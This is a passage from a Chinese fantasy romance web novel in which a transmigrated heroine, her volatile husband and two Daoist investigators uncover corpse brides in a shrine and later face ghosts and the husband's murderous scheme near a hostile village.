走进佛堂,四人默契地分开各自去一个地方搜索,柳凝雪认真端详墙上的壁画,不得不说谢玄淮的母亲很是用心,佛堂占地广,高大及顶的青石佛像立在屋子中间,四周的墙壁上还请上京极负盛名的画师在墙上作画。
柳凝雪所在这副壁画上画的是四大天皇,壁画上的神像栩栩如生,宛如亲临现场。
柳凝雪往旁边走几步,那神像的眼睛就好像跟着她动一样,本来就因为看到佛堂上的邪气而高度紧张,此时她更是一阵寒意猛地从脚底窜起。
“世子妃?世子妃,你怎么了?”
柳凝雪被江荨的喊声喊得回过神来,转头一看就见她担忧的脸色,她又问道:“世子妃,你怎么了?”
柳凝雪神情怔怔的,回她道:“没……没什么。”
柳凝雪有些不好意思地揉了揉眉间,道:“抱歉,让江姐姐担心了。”
这时,佛堂忽然传来沈如珩一声喊,“师妹。”
江荨看向沈如珩,问道:“是发现什么了吗?”
沈如珩点头道:“嗯,你过来看。”
江荨闻言,便走了过去,柳凝雪也跟着过去看,沈如珩站的那处,是一副神女壁画,他目光看着墙角,而墙角上被人画了一个震鬼八卦阵,地上是碎掉的壁画一角,阵法以血为契,极为凶险,就算找到阵眼破了阵法,也会有可能被反噬,更何况是强破。
看到阵法的第一眼,江荨想都没想,就说:“让我来。”
沈如珩很了解她的性子,江荨素来不耐烦找什么阵眼,她道法高深,喜欢强闯,生在万人敬仰的道法世家,自带着一股傲气,他下意识地拦住了她,道:“师妹莫急。”
江荨便停了下来,一双澄净的凤眸静静地望着他,问:“师兄有什么更好的法子吗?”
沈如珩淡淡道:“找阵眼。”
就在此时,谢玄淮却道:“何须找?阵眼不就在眼前吗?”
他抱臂在一旁看着,偶尔懒懒散散地说出几句话,几人回头看他,谢玄淮上前一步,两指一伸,指间就多了张符。
他低眸认真在手上打着结印手势,最后一声“破”,符纸应声飞出,钉进墙里,紧接着壁画上就出现一个巨大的红色光圈,是那个血法阵的放
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大版,飞出的符纸正好钉在阵法的正中间,随即砰一声巨响,法阵碎开了。
阵法被破了?!
柳凝雪有点不敢相信眼前所见,要知道十几天前,谢玄淮还只是个不会阵法的术法小白。
江荨看着他,意味深长地说道:“世长术法似乎很好。”
沈如珩也感觉出一些不对劲来,谢玄淮的结印手势有几分道家的影子,但他术法诡谲至极,不像正派所学。
谢玄淮捻了捻指尖,道:“不巧,曾得过名师指点。”
“名师”柳凝雪听完这句,耳根噌地一下红了起来,忙转移目光,说道:“唉!江姐姐,你快看墙上是不是有什么东西?”
江荨的注意力被她吸引过去,果见墙上壁画嗦嗦地往下掉,壁画掉落处显出一片深红色。
空气凝固了一瞬,壁画还在不停地掉落,直至露出一大片红色,柳凝雪顿感后背发凉,语气带着颤抖问江荨,道:“江姐姐,这……这些是什么?”
江荨有种很强烈的直觉,尸体腐臭的气味随着壁画的掉落越来越浓,她脸色一愣,拉着柳凝雪往后撤了一步,喊道:“退后!”
沈如珩和谢玄淮反应迅速,紧接着墙上的壁画一大块一大块地开始往下掉,露出墙下的真面目。
五具尸体穿着不同红嫁衣,化着大同小异的妆容,正神情安详地躺在墙上,她们面色死白,手上脸上都有不同大小的腐烂。
柳凝雪又惊又怕,发着抖的手紧紧拽住了江荨的手臂,“江……江姐姐,这些人怎么会在墙里啊?”
江荨皱眉道:“我也想知道。”
她转头去问谢玄淮,道:“世子难道不该给个解释吗?”
谢玄淮气笑了一下,道:“江小姐这是何意?我已经不理府上事多年,佛堂更是一年不踏足两次,遇到案件不应该先查明真相吗?你们司灵监的人莫非都爱血口喷人这一套?”
江荨还算镇定道:“世子言重了,我并非是想含血喷人。”
谢玄淮道:“我言重?江小姐,你自进敬王府起就对我颇有意见,现在我府上出事了,受害者不应该是我吗?江小姐,你想要我怎么解释?”
他一口一个江小姐,疏离又冷淡,强硬且不退让,江荨一时哑然,这时,柳凝雪拽了下江荨,道:“江姐姐,尸体动了。”
江荨看回尸体,五具尸体面色不虞,似是不满有人打扰了她们的清净,睁一双没有眼珠的黑窟窿,死死“盯”着他们。
“啊!”柳凝雪惊呼一声,指着其中一个新娘,道:“若婵?!是若婵!!!”
那五具尸体竟有一具和若婵长了一模一样的脸,不同的是,她双眼没有眼珠,脸上手上也烂了好几处。
五具尸体一动,她们的眼窟窿里就流不断地往涌出血泪,沿着脸庞一直滑落到地上。
沈如珩脸色一变,沉声道:“不可能,若婵明明已经被我用净邪瓶收了。”
柳凝雪哆哆嗦嗦地说道:“有没有可能不止有一个若婵?”
9. 亲吻
这话一出,江荨当即便反驳了她,道:“不可能,我和师兄去查案的时候,并没有听说若婵有卵生姐妹。”
柳凝雪道:“可是……她和若婵长得一模一样。”
江荨还想说什么,身后却传来一阵阵鬼哭声,五具尸体举起指甲狭长的五指朝他们扑了过去。
“小心!!!”柳凝雪大喊一声,江荨迅速极快,身形一闪,躲过了向她抓来的长甲,那五具尸体怨气极重,面目狰狞攻向他们。
柳凝雪忙从自己的腰带处摸出几张黄符防身,这些凶尸出现得莫名,还会乱攻击,稍有不慎就会被抓。
可不知为什么,五个凶尸像是盯准了柳凝雪一样,她往哪里躲就往哪个方向群击。
江荨和沈如珩也察觉到了情况,两人一齐围上她。
江荨对她道:“你先走,你术法不精,这里很危险。”
柳凝雪点点头,自己术法不好留在这里也只会给他们徒增麻烦,她提起裙摆转身欲跑,“若婵”像是察觉到她的动作,在江荨和沈如珩与凶尸缠斗时,一个跳跃来到她面前。
柳凝雪当即脸色煞白,急忙捏了一张符向她一掷,黄符在碰到若婵身上时炸开一道火光,逼得她连连后退,发出一连的尖叫声。
她声音粗哑,难听至极,尖叫声大得要刺破人的耳膜。
柳凝雪不受控地往退了几步,结果脚下一个趔趄,身子一仰向后倒去,刹那间,谢玄淮手疾眼快地扶住了她,才不至于让她整个人扑到地上。
柳凝雪双手胡乱挥着,攀上了谢玄淮的双臂紧紧抓牢,谢玄淮身体一僵,手一抖,差点没扶住又让柳凝雪掉了下去。
“你……”柳凝雪没想到谢玄淮会来接住她,脸色有些意外。
谢玄淮这才反应过来自己做了什么,但身体比脑子更快一步,完全来不及思考就做出动作。
柳凝雪从他臂弯里起来,来不及多想,若婵又朝她扑过去,柳凝雪刚想再拿一张符,谢玄淮却快她一步,两指抽出她手中的符纸,几个简易的结印手势就打出令人咂舌的强劲伤害。
柳凝雪再一次愣住,谢玄淮是不是进步太快了些?
江荨略打量了他几眼,又专心去对付凶尸,有了谢玄淮的加入,凶尸渐渐变得弱势,江荨趁机祭出宝塔将她们收进塔内。
外面的天色已经暗沉下来,佛堂里只有微弱的烛火在跳跃,江荨将一张黄符贴在宝塔上,镇住里面的邪祟,道:
“世子,世子妃,妖邪已经被我收进塔里了,至于敬王府为何会出现邪祟一事,我们司灵监定会认真调查,届时也请世子配合。”
谢玄淮勾唇道:“自然,我也希望司灵监能够帮敬王府除掉邪祟,还敬王府一片安宁。”
江荨静静地看了他一眼,对沈如珩道:“师兄,我们走吧,世子妃,再会。”
柳凝雪点头说:“嗯,再会。”
——
经过一场打斗,柳凝雪身上乱糟糟的,衣服头发满是香火味,侍女备好热水后,她便坐进浴桶里泡着,当热水漫过全身时,柳凝雪感到一阵前所未有的舒坦。
人一旦舒适安静下来就忍不住乱想,柳凝雪就是如此,她回想起谢玄淮的结印手势,与她平日教的无二,却又总觉得有哪里不对,给人一种术法诡谲,心术不正之感。
原著里也提到过,谢玄淮因喜欢练习禁术和奇诡异术让很多道长因之鄙夷,断定他祸害人间,不肯收他为徒,教他术法。
谢玄淮一连求了好几个人后,都无果,索性他就不求了。
这么一想,柳凝雪忽然觉得有种负罪感,以谢玄淮的性子,万一他把学得的术法拿出去害人怎么办?
柳凝雪暗道不行,待会一定要过去找他说说,顺便问问他是怎么练的,进步如此之快。
春日夜风微凉,窗外树摇曳,屋里的烛光照在谢玄淮的脸侧,将他的身影映在窗上。
柳凝雪沐浴过后,换上了一身白衣,长发垂在脑后,用红带在腰间扎起一束。
谢玄淮的房门并未关上,大开的门正对着坐在床榻上的他,他以手支着脑袋,眼眸微垂不知在想什么。
柳凝雪犹豫了一瞬,还是走到门前,进入他的视野中。
她走路并未发出声音,而谢玄淮似有所感,在她停下的那一刻,眼眸抬起看向了她。
他一双眼黑如耀石,幽如深潭,柳凝雪被他看得一时语塞,礼貌地笑了笑,问他:“我……可以进来吗?”
谢玄淮一动不动,淡淡道:“进。”
他过于冷淡的神情让柳凝雪踌躇了,会不会他被问得一个不开心就把自己给杀了,毕竟他现在就是个彻头彻尾的疯子,什么都不怕,也不在乎。
看她一副犹犹豫豫,欲说还休的样子,谢玄淮有些不耐烦地皱起眉,坐直身子看她,问:“有什么事吗?”
“有有有……”柳凝雪忙说道,“……为什么你的术法能进步这么快?”
问完,柳凝雪就感觉自己的心脏在急速跳动着,谢玄淮闻言,看着她站起身来。
他身量本就比她高出一个头,此时站到她面前,投落下一片阴影,谢玄淮低头,对她说:“为什么?师傅……因为我太想要进步了。”
他微压着声调,看她看得认真,烛光流转的眸中,清楚地倒映着柳凝雪此时稍显慌乱的脸,她看着他,张了张唇,却说不出话来,气氛一时变得有些暧昧。
柳凝雪自觉气势不能输他,干脆往前站上一步,不料裙摆过长,一不小心就踩到了裙摆,整个人向前扑去。
“啊!”柳凝雪没忍住惊叫出声,谢玄淮一愣,来不及反应就被柳凝雪扑倒在地,下一刻,突然有个软绵绵的东西堵在了他的唇上。
近距离的接触,让两人的瞳孔都猛地放大,唇上的软绵似带着几分香甜,两人不约而同地顿住了。
柳凝雪对接吻没经验,唇瓣对接时,她下意识地伸出舌头碰了碰。
谢玄淮僵在了原地,神情不可置信又震惊,身体也随着她的动作在渐渐发热。
柳凝雪慌忙在他身上坐起来,一脸不知所措,谢玄淮双手撑着地板,脸色沉沉地看着她,唇瓣抿紧,对她说:“下去。”
柳凝雪现在脑子一片混乱,脸和耳朵都熟透了,双手因不敢放在他身上,而撑在了两边,听到他的话,便匆忙从他身上离开。
她紧张道:“我不故意的。”
谢玄淮理了理被她弄乱的衣裳,就地坐起来,淡声道:“你是我世子妃,对我做什么我都不会介意,你若是想,可以再来一次。”
柳凝雪连忙摆手,道:“别!男女……”
话说到一半卡在喉里,她本想说男女授受不亲,可转念一想他们是拜过堂成过亲的夫妻,算不上别人。
谢玄淮疑惑地
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看了她一眼,好笑道:“怎么?男女授受不亲?敬王府是你要嫁进来的,世子妃也是你要当的,你现在装出一副纯情无辜的样子,到头来,我成了罪人了?”
柳凝雪一听便知道他对自己的误解有些深,她道:“不是,事情不是你说的那样,嫁给你是迫不得已,才出此下策。”
可谢玄淮一点也不信她的说辞,冷笑道:“嫁给我是迫不得已,嫁给我是下策?原来我在柳小姐眼中,就是迫不得已,是下策吗?”
柳凝雪被他搞的,说是也不是,说不是也不是,正郁闷着,她的手不经意间将肺间悬着的玉佩抚落到地上,发出叮的一声脆声。
谢玄淮的目光紧随着落到那枚玉佩上,问道:“近日常见世子妃佩戴此玉佩,是世子妃原有的?还是他人所赠?”
柳凝雪被他问的有些迷茫,神情复杂地看了他一眼,如实道:“……是他人所赠。”
谢玄淮正想顺着她的话问下去是何人所赠,忽又觉得自己为何要如此多管闲事,他压下心里那没来由得烦燥,冷声道:“世子妃若是无事,可以回去了,还是说你要待在这里和我一起……”
话还没说,柳凝雪就急着打断了他,“我回去我回去,我现在就回去。”
她避自己如蛇蝎,她在怕他。
谢玄淮目光深深,望着她匆匆离去的背影,柳凝雪感受到身后那道落在自己的身上视线,不禁后背凉,走着走着就提起裙摆小跑起来,生怕他一个闪现冲出来抹她脖子。
——
江荨抓了那几只女鬼便回了司灵监,让人查一下那几只女鬼的身份,结果出来后,发现她们都是从外面嫁到黄家村的人。
据说几位女子生前都曾遭受过不同程度的家暴,死后也都以突发疾病暴毙为原由对外称。
柳凝雪听着江荨的复述,不由道:“这么说,这个黄家村就很可疑。”
江荨点头道:“嗯,所以我打算和师兄今日去一趟黄家村。”
司灵监的人大多不干活,稍微大一点的案子都要江荨和沈如珩各处奔走解决。
原本坐着的柳凝雪站了起来,对江荨说:“江姐姐,我和你们一起去。”
江荨在司灵监一得到信息就赶来敬王府和柳凝雪说了,柳凝雪很感激她对敬王府的事上心,自己也想帮她们做点什么,快点解决敬王府的邪祟,对自己的任务发展也有帮助。
江荨听完,便皱起眉头,道:“城外村庄多是粗野乡夫,怕冲撞了世子妃,且外面比城中更为危险……”
柳凝雪道:“这一点江姐姐不用担心,我自有能力保护自己,事关敬王府,我自己也坐不住,江姐姐,你就让我跟着你们去吧。”
江荨还是犹豫不决,柳凝雪见状,便拉过一旁的谢玄淮,对她说:“江姐姐,到时谢世子也会随我们一起去,有他在,定不会让别人伤到我的,你说是吧?谢世子?”
柳凝雪目光殷切地看着他,害怕他下一秒就拒绝,毕竟她没问过他的意见,也是临时起意,谢玄淮扫了她一眼,道:“自然,无论世子妃遇到什么危险,我都会第一时间站到世子妃身边。”
见两人心意已决,江荨无法,只好叮嘱他们小心些,又给了柳凝雪一沓符纸,道:“世子妃万事还需小心些,有危险先跑,这些符纸可护你安全。”
柳凝雪接过那一沓符纸,感激道:“好,谢谢江姐姐。”
10. 借宿
黄家村远在城外,离敬王府有一段距离,早上从敬王府出发,一直到中午才到黄家村。
黄家村地处偏远,周围都是山头,也因离得太远,上京的官员都懒得管,本以为没有官员的管束,那些村民会粗野无礼,没想到走近村庄时,炊烟袅袅,沿道上时不时传来吆喝声,邻里街坊相处有序。
几人来到乡村时见到的就是这个样子,柳凝雪站在村口往里瞧了一眼,膝盖处忽然被一个团子模样的东西撞了一下。
她低头看去,便见一个小男童揉着额头退了几步,嘴里嘟囔着,“哎呦!疼死我了。”
小童抬头去看柳凝雪,见她生得清秀又衣着不凡,忍不住上下打量起来。
不知是不是柳凝雪的错觉,被他这么打量着,心里涌起一股不适。
她忍下心里的不适,冲他讪讪一笑,结果那小童飞一般回头地往村里跑去,边跑边大喊着,“阿爹!”
柳凝雪疑惑不解地站在原地,江荨问她:“世子妃,你没事吧?”
柳凝雪摇头道:“我没事,继续走吧。”
一行人便走进了村里,当他们走入村庄的那一刻,门前干活的妇女男人都停下了手上的动作,神情古怪地盯着他们,就好像在看什么怪物一般。
道旁的吆喝声也渐渐停下,气氛一时变得诡异起来。
饶是心理素质再好的人被这么盯着不放,也不免起一身鸡皮疙瘩,柳凝雪搓了搓手臂,道:“江姐姐……他们似乎不太欢迎我们。”
村民多穿粗布麻衣,他们四人皆着云锦,织工不凡,在一堆村民中极为惹眼。
江荨也感受到了不对劲,只是还未等她出声说回去,那些村民就个个爆起,拿着手中的烂菜臭鸡蛋往他们身上砸。
他们边砸边怒骂,“我们砸死你们这些狗官!!省得来这里碍人眼,草菅人命的狗官,给我滚出去!!我们这小村容不下你们这尊大佛!”
“你们还我儿命来……我儿生前孝顺,就是你们这些狗官断错了案才会害得我儿死于非命!”
“滚出去!!!这里不欢迎你们!!!”
“你们这些狗官……”
村民们越说越激动,什么烂菜臭鸡蛋都往他们身上砸,有的甚至抄起了锄头和弯刀,大有要和他们拼命的姿势。
江荨面色煞变,边用手挡住飞来的菜渣,边喊道:“快跑!”
四人也顾不上其他,转身速速离去。
江边微风轻扬,吹动湖上涟漪,湖边树林翠绿,迎面袭来一股清新气味。
柳凝雪在岸边坐着,一点一点地掬水洗掉脸上的脏污,身上橘黄的衣裙粘了不少菜渣,蛋黄的颜色沾在裙上并不显。
她低头闻了一下,差点没被一身的臭味送走,她嫌弃地皱了皱眉,又捧起一捧水将脸搓了几下。
谢玄淮也蹲在她身边掬水洗脸,他将袖子挽到最高,脸色比墨水还黑,搓了几遍脸后,又搓胳膊。
柳凝雪喊道:“喂,谢玄淮。”
谢玄淮疑惑地转头看她,问:“有事吗?”
话落,他就见柳凝雪朝自己伸出了手,此时的她也将袖子挽得高高的,露到外面的皮肤,润白如玉,谢玄淮眸中闪过一丝悔暗,下意识地往后躲了躲。
柳凝雪却没太在意他的举动,伸过手将他头上的一片烂菜叶取了下来,举到他面前,说道:“你发顶有块烂菜叶!”
许是没见过谢玄淮这么狼狈的样子,她说话时的眼睛闪闪发亮,像是发现了什么惊喜般,谢玄淮还没反应过来,柳凝雪便爆发出一阵哄笑声,“哈哈哈哈哈哈!”
谢玄淮:“……”
他的脸色更沉了,黑得能滴出墨来,冷声道:“再笑就把你舌头割了。”
柳凝雪立马闭起了嘴巴,继续掬水洗脸,假装自己很忙。
一边的江荨清理完自身,甩了甩手上的水珠,说道:“这些村民们好像都不太欢迎官家人来这里。”
沈如珩却道:“应该不是不欢迎官家人,而是不喜欢衣着不凡的人。”
柳凝雪说:“他们应该是将衣着不凡的人都归为官家人了,听他们说,好像官府断错了什么案子,导致那一村的人都不喜欢上京的官员。”
江荨皱了皱眉,道:“有关黄家村案子我会查清楚,是非定论,还待真相明白之时。”
上京官员多腐败,草菅人命的事不在少数,倘若真发生村民所说的冤案,江荨也自会查明真相,替他们翻案,经过她手的案子,断不会冤枉了任何人。
柳凝雪道:“那现在我们怎么办啊?眼看天色就要黑下来了,村民又不让我们进村,难道要连夜赶回上京城明日再出来吗?”
这也是江荨在愁的事,连夜赶回上京城劳累不说,夜里城外还多邪祟,极不安全,她道:“先找找周围有没有什么其他人家住在这里,借宿一晚,明日再去黄家村。”
现下也只有这个办法了,柳凝雪厌恶极了身上的腥臭味,现在只想换身衣裳,她的裙子是橘黄色还好,可江荨就惨了,她的衣服是全白的,鸡蛋黄都粘在了上面。
四人直至傍晚才在半山腰处寻到一户人家,屋内亮着暖黄的烛光,透过窗户隐隐能见里面忙碌的人影。
江荨松了口气,抬手敲了敲柴门,大声问:“请问家中主人可在?”
里面的人闻声,忙从里屋出来,月光如银散落院中,刘子闻一袭深蓝衣袍,面容柔和,见人未语先笑,道:“在的在的。”
道完,他忙过来将门打开,结果看见江荨一行人发型衣物脏乱,脸上笑容一凝。
江荨语气放缓,问道:“我们途径此处,今日天色已晚,不知可否借宿一晚?”
“啊?哦哦,可以可以。”刘子闻往旁边让了一步给他们进来,神情有一瞬的奇异又恢复如常。
江荨又问他,“公子可有多余的衣裳?”
刘子闻一听便知他们要换衣服,连声道:“有有有,不过都是我一个人的,男子还好,女子就不大
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行,不过我可以去邻里替你们借来。”
江荨取了些银子放进他手里,道:“你拿这些银子给他们,就当是我们买的了。”
刘子闻见状也不推辞,收下银子便往外走,道:“好的,姑娘,你们要是烧水的话可以进厨房里,沐浴在侧间。”
他回话,不卑不亢又温和有礼,且善于察人脸色,不该问的不问,也不多说,江荨一时对他有了几分好感。
刘子闻离去后,江荨便四处观察了下屋子,屋子是简单的茅屋,共有五间,且茅屋门上都设有简单的术法,用于抵御邪祟。
但这些术法过于简单,只能抵御一些弱小的邪祟,稍微强一点的都能突破,为以防万一,江荨便在这个阵法的基础上进行更改,不过几下就成了一个强大的法阵,阵眼便是她立在院中的那把剑。
刘子闻回来时看到这一幕愣了一下,问江荨道:“你们修道之人?”
江荨点头道:“是的。”
“哦哦。”
说完,刘子闻说完便将手中借来的衣裳递给江荨道:“这些衣裳,你看看合不合适。”
江荨接过衣裳,对他说:“多谢。”
领了衣服,江荨便没多留,穿着一身脏污她也忍了一天了,寻常百姓穿的多是粗布麻衣,但总好比没有的强。
洗去脏污后,柳凝雪顿感一身轻松,她围着四方桌坐下,将下巴搁到桌面上,松散的长发垂在脑后正往下滴着水。
她和江荨两人将杂间整理空出一间房来睡,此时的江荨也已沐浴完了正坐在她对面。
柳凝雪道:“江姐姐,明日我们要怎么进黄家村啊?也不知那些村民们有没有认得我们的脸。”
这也是江荨在思虑的事,正想着,房门忽然被敲响了,随着便传来了沈如珩的声音道:“师妹睡下了吗?”
话落,江荨起身去将门打开,对沈如珩道:“还未,师兄怎么了?”
沈如珩道:“刘子闻在这周边住得久了,或许会知道一些事情,我们问一下他如何?”
江荨已经习惯这位大师兄做事前都会寻问她的意见了,听完便点了点头,道:“好,依师兄所言。”
一柱香过后,五人齐聚在堂屋里,沈如珩已先和刘子闻说了来意,刘子闻自然也表现得乐意与他们交谈。
江荨问道:“黄家村的村民为何如此怨恨官府?”
刘子闻想了想,说道:“他们之所以这么恨官府的人是因为有好几上京的官员都断错了案,害得他们家破人亡,翻案无果,他们就变得怨恨官府,认为上京官官相护,不顾他们老百姓的死活。”
江荨听得皱起秀眉,又问:“仅是断错了案么?”
刘子闻道:“自然不是,除此以外,上京有点势力的官员还会强抢民女,时常和周边村民发生摩擦,日积月累下来,是人总会生恨。”
若只是断错案的话,尚有翻案回转的余地,但如强抢民女这种丧尽天良的事,就不是那么好化解的了。
11. 谋划(一)
刘子闻望着对面眉头越蹙越深的江荨,道:“几位来这里是做什么的?看你们衣着不凡是上京人吧。”
沈如珩接了他的话,回道:“是的,我们来这里是为了最近上京邪祟频出的事,根据线索一路追查到了黄家村。”
相比沈如珩和江荨的温和有礼,坐到一起的柳凝雪和谢玄淮反而一脸冷淡,不以为意。
柳凝雪右手握着腰上悬着的玉佩轻轻摩挲着,眉眼平淡,想事想得出神。
谢玄淮分出了几分耐心坐在这里,他端起茶盏轻抿了一口,也不去在意他们说了什么。
刘子闻扫了两人一眼,接着对沈如珩说道:“原是如此,追查上京邪祟的,想必几位就是司灵监的人吧?”
道出了来由,身份自然也明了,刘子闻惊讶的神情稍纵即逝,他道:“最近我也听说黄家村经常闹邪祟,村民因此困扰许久,报了官府,官府也不管,他们若是知道你们是为除邪祟而来,肯定会欢迎你们的。”
话落,柳凝雪忽然问道:“刘大哥在这附近住了多久了?”
她一出口问,谢玄淮神游天外的心思也收回来了,目光集中落在她身上,似是在揣测着她要干嘛。
刘子闻被她问得一愣,道:“有十多年了吧。”
柳凝雪又道:“那想必是与周围的村民们都很熟悉了?”
刘子闻道:“……自然。”
柳凝雪面色稍露苦恼,说:“刘大哥,你也看到我们今晚来时的那一身脏乱,就是因为不知道村民们如此怨恨官府才冒然进了村,如今他们也见过我们的面目了,想要再进去也难。”
“刘大哥长住于此,又与村民们相熟,肯定更相信刘大哥的话,不知刘大哥可否和村民们说一声?也好让我们顺利查案,若能除掉邪祟,岂不是皆大欢喜?”
这话一出,屋里人的目光都集中在了刘子闻身上,江荨也道:“刘公子与村民相熟,他们会更相信刘公子一些,若刘公子能助我们查案,司灵监定感激不尽。”
可几人的目光下,刘子闻的面色变得有些为难起来,道:“这……”
谢玄淮视线落在他身上,脸色淡淡,道:“刘公子如此犹豫,可是不愿?”
江荨自也看出了刘子闻的为难,微叹气道:“刘公子若是不愿,我们司灵监也不会强求,只是希望公子能多考虑一下。”
刘子闻却叹声道:“并非我不愿替各位说辞,只是黄家村的村民对上京官员积怨已久,非是一两句话就能解决问题的。”
柳凝雪细细打量了他几眼,按原著走向,刘子闻就是上京邪祟作乱的幕后黑手,他的话十句有八句是信不得的,书里江荨还因听信了他的话吃了不少苦头。
且那些黄家村村民也恨极了他,只要让他在黄家村露个脸,他的谎言自然也被拆散,江荨说不定会对他多加防备。
柳凝雪蹙起秀眉,面带忧愁,道:“那岂不是没办法啦?好不容易查到的线索……”
刘子闻不愿意,江荨也没法逼他,只好道:“夜已深先回去休息,待明日再想想办法。”
话落,几人都起身出门,柳凝雪跟在谢玄淮身后,喊住了他,“谢玄淮!”
屋檐下的谢玄淮回过头来看她,问:“有事?”
柳凝雪道:“有有有。”
说着她提裙摆小跑上前,将一沓符纸递给她,道:“身在深山,夜晚可能会有危险,你拿着这些符纸防身吧。”
闻言,谢玄淮垂眸扫了眼她手中拿着的符纸,眸色略过一丝不明,道:“为何要给我?”
“啊?”柳凝雪顿了一下,吱吱唔唔道:“……因为我们成亲了啊,我是你的妻子不该对你好吗?”
谢玄淮微愣了片刻,少女明亮的双眸看他时,眼里喜欢丝毫不减,好像这天地间只他一人,她眼眸纯粹,不谙世事。
谢玄淮怔了一下,随之而来是说不明的厌恶与不喜,有时候他就觉得自己很贱,对突如其来的喜欢感到恶心与不接受。
忍下心中异样的感觉,他接过她手中的符纸,对她说:“我知道了。”
语气极为冷淡,脸色也显得有几分不耐烦,柳凝雪不知道自己做错了什么,又惹得他不高兴,她克制住想要揍他的冲动,朝他的背影做了个鬼脸。
谢玄淮接了符纸,柳凝雪也稍稍安心下来,书里写到因为刘子闻拔剑引邪的缘故,谢玄淮会在这里受到重伤,她给他符纸就是希望他能好好防身。
回到房间时,江荨还在自学术法,她向来刻苦努力,每天都会学习到亥时末,搁现代绝对是个内卷超级厉害的学霸。
柳凝雪没有去打扰她,径自去了床上躺下,可她却睡不着,戳穿刘子闻的计划不成,今晚他还会拔剑,有什么办法能阻止他啊?
柳凝雪双眼干瞪着天花板,忽然,窗外飘过一个人影,她惊得大喊道:“江姐姐有人!”
江荨脸色登时变得严肃起来,甩出一张符纸去探,道:“不是人。”
柳凝雪听到这句,不禁起了一身鸡皮疙瘩,江荨对她说:“你好好待在房间里,我出去看看。”
柳凝雪连声道:“好好好。”
上次若婵的事给了她不少心里阴影,这次无论是谁她都不会开门出去的了。
江荨拿起宝器出了门,临走前还在门上设下一道阵法,只要柳凝雪不随意开门,外面的邪祟就闯不进来。
屋外阴风阵阵,伴随着此起彼伏的鬼哭狼嚎声,躲在屋里的柳凝雪如神经衰弱般,听到一点动静就四下扫几眼,总觉得有什么东西在盯着她。
就在这时,木门突然被什么东西重重敲了一下,本就绷着一根弦的柳凝雪被吓得浑身一震,提高了音量喊道:“谁?!谁在敲门?!”
回应她的却是一片寂静,柳凝雪坐在床上犹豫片刻,还是下了床来到门后,用手在糊纸上戳破一个洞。
透过洞口看到的院子安静至极,仿佛刚才的鬼哭声只是她的幻觉,江荨的剑还静静地插在地上,人却不知道去了哪。
正在柳凝雪聚精会神地看着时,一抹蓝色的身影忽然从她眼前一
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闪而过,她微微一愣,那个身影显然是刘子闻的。
他这么晚了出去干什么?!
这个时候,他不应该是在拔剑了吗?然而他却没有拔,柳凝雪见此并不轻举妄动,一双视线像粘在他身上般跟着他出了院子,直至他身影消失。
还没等她收回目光,被戳破的窗纸处猛地塞进了一只人眼,那只眼睛黑漆漆的,冷漠至极,柳凝雪倒吸了一口凉气,身体不受控制地往后退,下一刻,紧闭的木门就被人轻易打开了。
谢玄淮指骨修长的手撑在门的两边缓慢将门打开,脸色平静到有种说不出来的诡异感。
他声音亦是缓慢冷淡,显得有几分空灵,“世子妃?”
他幽深的眸子一动不动地盯着她,柳凝雪见是他,心下松了口气,但又总觉得哪里不对,她上下打量了他两眼,说道:“你……这么晚不睡觉来我这里做什么?”
谢玄淮语气不快不慢地回道:“方才沈如珩传信给我说这里已经不安全了,让我来带你离开。”
“真的?”柳凝雪有些意外。
谢玄淮道:“我骗你做什么?”
他神色专注不似说假,柳凝雪不再多说,道:“那我们快走吧。”
柳凝雪走得快,没看到身后谢玄淮勾起了嘲讽的嘴角,“真是有够蠢的。”
夜黑风高,树影婆娑,出了院子没了灯火,周围一片黑漆漆的,柳凝雪几乎每走一步都要停下来看一眼四周,树叶的沙沙声中,似潜藏着危险。
她越走越感觉不对劲,问身后的谢玄淮道:“谢玄淮,你有没有感觉渗得慌?”
然而,身后却传来久久的一片寂静,柳凝雪定住脚步,犹如机械般缓慢地转过头看去,她的身后空无一人!
“谢玄淮?”她不安地喊着。
她有些僵硬地别过头,周围的沙沙渐渐停下,深夜女子的抽泣声断断续续地传来。
山野荒岭的,柳凝雪很清楚这里听到的哭泣不可能是人,她转身想跑,可人一旦极度恐惧时,双腿就宛如灌了铅般迈不动脚。
哭泣越来越大,也越来越近了,柳凝雪压下心中极度的恐惧,逼着自己跑起来,她的脑海里一直有个念头在告诉她,她不能死。
身后传来的哭泣声紧追不散,柳凝雪头也不敢回地往前跑,心里默念着各位祖宗保佑。
不知是不是她的祈祷起了作用,前方隐隐出现微弱的火光,柳凝雪顿时燃起了希望,她越跑越快,直至看见人的身影。
谢玄淮在见到她跑来时并不意外,他在身后藏了一张符纸,周围是他精心布好的阵,只要等她靠近时掷出这张符纸就能让她和这些凶尸粉身碎骨,敢算计他的人都该死。
如此想着,他唇边勾起一抹笑意,柳凝雪并不知他心中所想,她见到他那一刻,便义无反顾地向他跑去。
“谢玄淮,我终于找到你了。”
少年看到这时却是愣住了,眼瞧着那抹橘色的身影越来越近,他却像石化了般一动不动,他这么算计她,她不应该恨他吗?
12. 谋划(二)
他藏在背后的手微颤了下,旋即将符纸揉碎在手中,看着柳凝雪跌跌撞撞地跑向自己,神情冷淡,事不关自。
“哎呀!”柳凝雪忽地惊叫一声,她脚下踩到了自己的衣裙,一个不稳,整个人向前扑去,谢玄淮望着扑进自己怀里的人,无动于衷,低眸扫了她一眼,随即疾速掷出一张符纸。
符纸飞出的那一刻,江荨的声音也从他们身后响起,喊道:“谢世子!”
话落时,掷出的黄符和他布下的法阵相应,一阵金光顿起将凶尸困在法阵里,柳凝雪扑进谢玄淮怀里时,不知触到了他哪里让他浑身一震,她扶着他的腰间站起来,如劫后余生般,道:“好险好险。”
待站稳后,柳凝雪转身去看被他困住的凶尸,只见地上那些衣衫破烂,面容死白的尸体在乱爬,他们的身体不断地抽搐扭动着,或哭或笑,瘆人至极。
柳凝雪看得脊背发寒,眼角余光偷觑了谢玄淮一眼,然而当事人却一脸冷漠,仿佛这件事与他无关,她当然不会以为谢玄淮出现在这里是为了救她,他故意把自己丢进凶尸体堆里,又在此处等她,只有一个可能,那就是想要杀了她,她能活下来完全是她运气好。
江荨这时也来到柳凝雪身边,担忧地问她:“世子妃,你没事吧?”
柳凝雪道:“我没事江姐姐,你们怎么样?”
江荨道:“无碍。”
说完,她蹙眉看了谢玄淮一眼,方才她赶来时,就见柳凝雪被凶尸追缠着,也亲眼看见谢玄淮将另一张符纸揉碎,阵法需要符纸驱使,但同一阵法使用不同符纸的作用是大有不同的。
谢玄淮也不怕被她看出意图,在此刻,他也很是平静道:“江小姐来得好巧。”
江荨语气不明,微微笑道:“不及谢世子来得巧。”
